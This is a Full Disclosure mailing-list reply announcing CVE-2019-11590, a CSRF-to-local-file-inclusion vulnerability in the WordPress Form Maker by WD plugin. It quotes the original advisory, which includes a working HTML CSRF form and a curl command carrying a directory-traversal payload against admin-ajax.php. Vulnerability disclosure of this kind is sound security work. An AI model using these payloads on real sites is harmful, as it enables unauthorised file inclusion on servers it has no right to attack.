Message-ID: <20190429150727.argrdro2turdiqsh@tunkki.bugs.fi>
Date: Mon, 29 Apr 2019 18:07:27 +0300
From: Henri Salo <henri@...v.fi>
To: Panagiotis Vagenas <pan.vagenas@...il.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] WordPress Plugin Form Maker by WD [CSRF → LFI]

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On Fri, Apr 05, 2019 at 02:01:21PM +0300, Panagiotis Vagenas wrote:
> # Exploit Title: Form Maker by WD [CSRF → LFI]
> # Date: 2019-03-17
> # Exploit Author: Panagiotis Vagenas
> # Vendor Homepage: http://web-dorado.com/
> # Software Link: https://wordpress.org/plugins/form-maker
> # Version: 1.13.2
> # Tested on: WordPress 5.1
> 
> Description
> -----------
> 
> Plugin implements the following AJAX actions:
> 
> - `generete_csv`
> - `generete_xml`
> - `formmakerwdcaptcha`
> - `formmakerwdmathcaptcha`
> - `product_option`
> - `FormMakerEditCountryinPopup`
> - `FormMakerMapEditinPopup`
> - `FormMakerIpinfoinPopup`
> - `show_matrix`
> - `FormMakerSubmits`
> - `FormMakerSQLMapping`
> - `select_data_from_db`
> - `manage_fm`
> - `FMShortocde`
> 
> All of them call the function `form_maker_ajax`. This function
> dynamicaly loads a file defined in `$_GET['action']` or
> `$_POST['action']` if the former is not defined. Because of the way
> WordPress defines the AJAX action a user could define the plugin action
> in the `$_GET['action']` and AJAX action in `$_POST['action']`.
> Leveraging that and the fact that no sanitization is performed on the
> `$_GET['action']`, a malicious actor can perform a CSRF attack to load a
> file using directory traversal thus leading to Local File Inclusion
> vulnerability.
> 
> Plugin also registers the following AJAX actions:
> 
> - `paypal_info`
> - `checkpaypal`
> 
> Those seems like the are only available to PRO version users, yet they
> also are vulnerable to this attack.
> 
> Additionally the following AJAX actions are registered in PRO version:
> 
> - `get_frontend_stats`
> - `frontend_show_map`
> - `frontend_show_matrix`
> - `frontend_paypal_info`
> - `frontend_generate_csv`
> - `frontend_generate_xml`
> 
> Those have the function `form_maker_ajax_frontend` as a callback. All of
> them are vulnerable to the aforementioned attack. What's more
> interesting about those is the fact that are available to non-registered
> users also, making this attack directly exploitable, without using a
> CSRF attack. In this case the vulnerable param is `$_REQUEST['page']`.
> 
> PoC
> ---
> 
> ### Using a CSRF attack
> 
> ```html
> <form method="post"
> action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php?action=/../../../../../index">
>     <label>AJAX action:
>         <select name="action">
>             <optgroup label="Free version">
>                 <option value="generete_csv">generete_csv</option>
>                 <option value="generete_xml">generete_xml</option>
>                 <option
> value="formmakerwdcaptcha">formmakerwdcaptcha</option>
>                 <option
> value="formmakerwdmathcaptcha">formmakerwdmathcaptcha</option>
>                 <option value="product_option">product_option</option>
>                 <option
> value="FormMakerEditCountryinPopup">FormMakerEditCountryinPopup</option>
>                 <option
> value="FormMakerMapEditinPopup">FormMakerMapEditinPopup</option>
>                 <option
> value="FormMakerIpinfoinPopup">FormMakerIpinfoinPopup</option>
>                 <option value="show_matrix">show_matrix</option>
>                 <option value="FormMakerSubmits">FormMakerSubmits</option>
>                 <option
> value="FormMakerSQLMapping">FormMakerSQLMapping</option>
>                 <option
> value="select_data_from_db">select_data_from_db</option>
>                 <option value="manage_fm">manage_fm</option>
>                 <option value="FMShortocde">FMShortocde</option>
>             </optgroup>
>             <optgroup label="Pro Version">
>                 <option value="paypal_info">paypal_info</option>
>                 <option value="checkpaypal">checkpaypal</option>
>                 <option
> value="get_frontend_stats">get_frontend_stats</option>
>                 <option value="frontend_show_map">frontend_show_map</option>
>                 <option
> value="frontend_show_matrix">frontend_show_matrix</option>
>                 <option
> value="frontend_paypal_info">frontend_paypal_info</option>
>                 <option
> value="frontend_generate_csv">frontend_generate_csv</option>
>                 <option
> value="frontend_generate_xml">frontend_generate_xml</option>
>             </optgroup>
>         </select>
>     </label>
>     <button type="submit" value="Submit">Submit</button>
> </form>
> ```
> 
> ### Without leveraging the CSRF vulnerability
> 
> ```sh
> curl 'http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php' \
>     -d 'action=get_frontend_stats&page=/../../../../../index'
> ```

MITRE assigned CVE-2019-11590 for this issue.

- -- 
Henri Salo
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